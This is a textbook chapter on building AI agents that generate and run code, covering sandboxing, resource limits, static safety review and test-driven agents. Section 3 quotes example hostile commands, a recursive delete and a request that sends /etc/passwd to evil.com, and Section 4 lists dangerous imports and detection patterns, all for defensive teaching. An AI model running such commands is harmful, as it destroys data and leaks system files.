Chapter 16 · Code Generation & Execution Agents

Part of Part IV · Production

"An agent that writes code is powerful. An agent that writes code AND runs it is dangerous. This chapter teaches you to harness that power safely."

---

You give an agent a CSV with 10,000 rows of sales data. "Find the top 5 products by revenue, plot a trend line, and identify any anomalies." The agent writes Python, executes it, gets an error (wrong column name), reads the error, fixes the code, runs again, and produces the analysis — all without human intervention.

This is the power of code-generating agents. They can solve problems that no pre-built tool can handle. But they can also delete files, exhaust resources, and introduce security vulnerabilities. This chapter covers building code agents that are both powerful and safe.

---

Section 1: Why Code-Generating Agents?

The fundamental limitation of pre-built tools: you can only build so many. There will always be tasks that don't fit your existing tools.

Code as a universal tool. An agent that can write and execute code can solve ANY computable problem. Data analysis, automation, complex calculations, API composition — code handles it all.

The key insight: LLMs are trained on code. They're good at writing it. Let them.

Use cases where code agents shine:

• Data analysis: "Analyze this CSV and find trends" — no pre-built tool can handle arbitrary analysis tasks
• Automation: "Rename all files in this directory to follow this convention" — one-off tasks that don't justify a dedicated tool
• Complex calculations: "Simulate this financial model with these parameters" — requires programming logic
• API composition: "Call these 3 APIs, join the results, and format as a report" — custom integration logic

The tradeoff: Code agents are more flexible but less predictable than tool-based agents. A search_web tool always does the same thing. Generated code might do anything.

---

Section 2: The Code Generation Loop

The basic pattern:

generate code → execute in sandbox → capture output/errors → feed back to agent → fix/improve → repeat

import subprocess
import tempfile
import os

class CodeAgent:
    def __init__(self, sandbox_dir: str = "/tmp/agent_sandbox"):
        self.sandbox_dir = sandbox_dir
        os.makedirs(sandbox_dir, exist_ok=True)

    def run(self, task: str, max_iterations: int = 5) -> dict:
        context = f"Task: {task}\n"
        errors = []

        for i in range(max_iterations):
            # Generate code
            code = llm.generate_code(
                task=task,
                context=context,
                previous_errors=errors,
            )

            # Execute in sandbox
            result = self._execute_safely(code)

            if result["success"]:
                # Code ran successfully — is the task done?
                output = result["stdout"]
                done = llm.check_if_done(task, output)
                if done:
                    return {"success": True, "code": code, "output": output}
                else:
                    context += f"\nCode ran but didn't complete the task. Output:\n{output}\n"
            else:
                # Code failed — feed error back to agent
                error_msg = result["stderr"]
                errors.append(error_msg)
                context += f"\nError:\n{error_msg}\n"

        return {"success": False, "error": "Max iterations reached", "code": code}

    def _execute_safely(self, code: str) -> dict:
        # Write code to temp file
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", dir=self.sandbox_dir, delete=False
        ) as f:
            f.write(code)
            script_path = f.name

        try:
            result = subprocess.run(
                ["python", script_path],
                capture_output=True,
                text=True,
                timeout=30,  # 30-second timeout
                cwd=self.sandbox_dir,
            )
            return {
                "success": result.returncode == 0,
                "stdout": result.stdout,
                "stderr": result.stderr,
            }
        except subprocess.TimeoutExpired:
            return {"success": False, "stderr": "Execution timed out (30s)"}
        finally:
            os.unlink(script_path)

The self-correction loop in action:

Turn 1: Agent writes: df.groupby('product').sum()
        Error: NameError: name 'df' is not defined
Turn 2: Agent fixes: import pandas as pd; df = pd.read_csv('data.csv'); df.groupby...
        Error: FileNotFoundError: data.csv
Turn 3: Agent fixes: df = pd.read_csv('sales.csv'); df.groupby('product_name')...
        Error: KeyError: 'product_name'
Turn 4: Agent fixes: print(df.columns.tolist())  # Check what columns exist
        Output: ['Product', 'Revenue', 'Date', 'Region']
Turn 5: Agent fixes: df.groupby('Product')['Revenue'].sum().nlargest(5)
        Success! Output: Top 5 products by revenue...

This is the magic: the agent sees its mistakes and fixes them, just like a human developer.

---

Section 3: Sandboxed Execution

NEVER run agent-generated code on your host machine. Ever.

A code agent might generate:

import os
os.system("rm -rf /")  # Deletes everything

Or:

import requests
requests.post("https://evil.com/steal", json={"data": open("/etc/passwd").read()})

Or simply:

while True:
    pass  # Infinite loop, consumes CPU forever

Sandboxing options:

Method	Security	Speed	Setup Complexity
Docker container	High	Medium	Medium
Subprocess (restricted user)	Medium	Fast	Low
E2B / Code Interpreter SDK	High	Fast	Low
WebAssembly (WASM)	High	Very Fast	High
Cloud function (Lambda)	High	Slow (cold start)	Medium

Docker sandbox (recommended for most cases):

import docker

class DockerSandbox:
    def __init__(self, image: str = "python:3.12-slim"):
        self.client = docker.from_env()
        self.image = image

    def execute(self, code: str, timeout: int = 30) -> dict:
        container = self.client.containers.run(
            self.image,
            command=["python", "-c", code],
            detach=True,
            mem_limit="256m",         # Max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,          # Max 50% of one CPU
            network_mode="none",      # No network access
            read_only=True,           # Read-only filesystem
            tmpfs={"/tmp": "size=64m"},  # Writable /tmp only
            remove=True,              # Auto-remove when done
        )

        try:
            result = container.wait(timeout=timeout)
            logs = container.logs(stdout=True, stderr=True)
            return {
                "success": result["StatusCode"] == 0,
                "stdout": logs.decode(),
                "stderr": "",
            }
        except docker.errors.APIError as e:
            return {"success": False, "stderr": f"Container error: {e}"}

Resource limits are not optional:

• CPU: Prevent infinite loops from consuming all CPU
• Memory: Prevent [0] * 10**12 from OOM-killing your server
• Network: Prevent data exfiltration
• Disk: Prevent filling up the filesystem
• Time: Prevent infinite execution

---

Section 4: Code Review and Safety

Before executing agent-generated code, review it:

import ast
import re

DANGEROUS_IMPORTS = {
    "os", "subprocess", "socket", "requests", "urllib",
    "ftplib", "smtplib", "telnetlib", "http",
}
DANGEROUS_PATTERNS = [
    r"__import__\s*\(",
    r"eval\s*\(",
    r"exec\s*\(",
    r"compile\s*\(",
    r"open\s*\([^)]*['\"]w",  # File write
    r"os\.system\s*\(",
    r"os\.popen\s*\(",
    r"subprocess\.(run|Popen|call|check_output)\s*\(",
    r"shutil\.(rmtree|move|copy)\s*\(",
    r"while\s+True\s*:",  # Potential infinite loop
]

def safety_review(code: str) -> dict:
    """Review code for safety issues before execution."""
    issues = []

    # Static analysis: check imports
    try:
        tree = ast.parse(code)
        for node in ast.walk(tree):
            if isinstance(node, ast.Import):
                for alias in node.names:
                    if alias.name.split(".")[0] in DANGEROUS_IMPORTS:
                        issues.append(f"Dangerous import: {alias.name}")
            elif isinstance(node, ast.ImportFrom):
                if node.module and node.module.split(".")[0] in DANGEROUS_IMPORTS:
                    issues.append(f"Dangerous import: {node.module}")
    except SyntaxError as e:
        return {"safe": False, "issues": [f"Syntax error: {e}"]}

    # Pattern matching
    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, code):
            issues.append(f"Dangerous pattern detected: {pattern}")

    # LLM review (optional, for high-sensitivity contexts)
    if issues:
        return {"safe": False, "issues": issues}

    return {"safe": True, "issues": []}

The safety pipeline:

generate code → static analysis → pattern matching → (LLM review) → execute in sandbox → validate output

If any stage fails, the code is rejected and the agent must try a different approach.

---

Section 5: Testing Agents

Agents that write code should also write tests. The test-driven agent produces more reliable code:

class TestDrivenCodeAgent:
    def run(self, task: str, max_iterations: int = 5) -> dict:
        for i in range(max_iterations):
            # Step 1: Generate tests
            tests = llm.generate_tests(task)

            # Step 2: Generate code to pass the tests
            code = llm.generate_code(task, tests=tests)

            # Step 3: Run tests against the code
            test_result = self._run_tests(code, tests)

            if test_result["passed"]:
                # Step 4: Run the actual code
                exec_result = self._execute_safely(code)
                if exec_result["success"]:
                    return {
                        "success": True,
                        "code": code,
                        "tests": tests,
                        "output": exec_result["stdout"],
                    }

            # Step 5: Feed failures back
            feedback = f"Tests failed: {test_result['failures']}"
            task = f"{task}\n\nPrevious attempt feedback: {feedback}"

        return {"success": False, "error": "Could not generate passing code"}

The quality improvement is significant: code with tests is more reliable than code without. The agent's tests catch bugs before you do.

---

Section 6: The Complete Safe Code Agent

Here's the full code agent combining sandboxing, safety review, and self-correction:

class SafeCodeAgent:
    def __init__(self):
        self.sandbox = DockerSandbox()

    def run(self, task: str, max_iterations: int = 5) -> dict:
        context = f"Task: {task}\n"
        history = []

        for i in range(max_iterations):
            # Generate code
            code = llm.generate_code(
                task=task,
                context=context,
                history=history,
            )

            # Safety review
            review = safety_review(code)
            if not review["safe"]:
                context += f"\nCode rejected by safety review: {review['issues']}\n"
                history.append({"code": code, "result": "rejected", "reason": review["issues"]})
                continue

            # Execute in sandbox
            result = self.sandbox.execute(code)

            if result["success"]:
                # Verify output
                verification = llm.verify_output(task, result["stdout"])
                if verification["task_complete"]:
                    return {
                        "success": True,
                        "code": code,
                        "output": result["stdout"],
                        "iterations": i + 1,
                    }
                else:
                    context += f"\nCode ran but didn't complete the task. Output:\n{result['stdout']}\n"
                    context += f"Missing: {verification['missing']}\n"
            else:
                context += f"\nError:\n{result['stderr']}\n"

            history.append({"code": code, "result": result})

        return {"success": False, "error": "Max iterations reached"}

# Usage
agent = SafeCodeAgent()
result = agent.run("""
    Analyze sales.csv:
    1. Load the data
    2. Find top 5 products by revenue
    3. Plot a revenue trend over time
    4. Identify any anomalies (values > 3 standard deviations from mean)
    5. Save the plot as 'revenue_trend.png'
""")

if result["success"]:
    print(f"Task completed in {result['iterations']} iterations")
    print(result["output"])
else:
    print(f"Failed: {result['error']}")

---

Section 7: When NOT to Use Code Agents

Code agents are powerful but not always the right choice:

• Simple tasks that existing tools handle well → use tools. Don't generate code to search the web.
• Tasks requiring deterministic behavior → code agents are probabilistic. The same input may produce different code.
• Latency-sensitive tasks → code generation + execution is slow (multiple LLM calls + code execution).
• Tasks where errors are unacceptable → code agents make mistakes. Use pre-built, tested tools for critical operations.

The hybrid approach: Use tools for common operations, fall back to code generation for novel tasks. Your agent should try search_web first, and only generate custom scraping code if the search tool can't handle the request.

---

The Turn

You now understand that code-generating agents are the ultimate flexible tool. They can solve problems no pre-built tool can handle. But with great power comes great responsibility: sandboxing, code review, and resource limits are not optional.

The self-correction loop — generate, execute, observe error, fix, repeat — is the same pattern you've been building since Chapter 4. Code agents are just agents where the "tool" is a Python interpreter and the "tool result" is stdout or a stack trace.

---

In the next chapter: Your agents can now write and execute code. They can analyze data, automate tasks, and solve novel problems. But they're still limited to text and code. What if an agent could SEE? What if it could look at a screenshot, understand what it sees, and click buttons and type text like a human? You'll build agents that use computers.